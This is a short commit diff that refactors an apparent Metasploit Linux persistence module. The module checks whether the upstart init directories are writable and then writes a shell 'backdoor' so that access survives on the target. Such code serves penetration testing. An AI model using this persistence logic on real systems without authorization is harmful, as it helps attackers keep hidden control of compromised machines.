upstart updated with mixin udpates

Author: h00die

modules/exploits/linux/persistence/init_upstart.rb

@@ -77,17 +77,17 @@ def initialize(info = {})
   end
 
   def check
-    print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('/tmp')
-    return CheckCode::Safe("#{datastore['WritableDir']} isnt writable") unless writable?(datastore['WritableDir'])
+    print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
+    return CheckCode::Safe("#{writable_dir} isnt writable") unless writable?(writable_dir)
     return CheckCode::Safe('/etc/init/ isnt writable') unless writable?('/etc/init/')
 
     return CheckCode::Safe('Likely not an upstart based system') unless command_exists?('initctl')
 
-    CheckCode::Appears("#{datastore['WritableDir']} is writable and system is upstart based")
+    CheckCode::Appears("#{writable_dir} is writable and system is upstart based")
   end
 
   def install_persistence
-    backdoor = write_shell(datastore['WritableDir'])
+    backdoor = write_shell(writable_dir)
 
     path = backdoor.split('/')[0...-1].join('/')
     file = backdoor.split('/')[-1]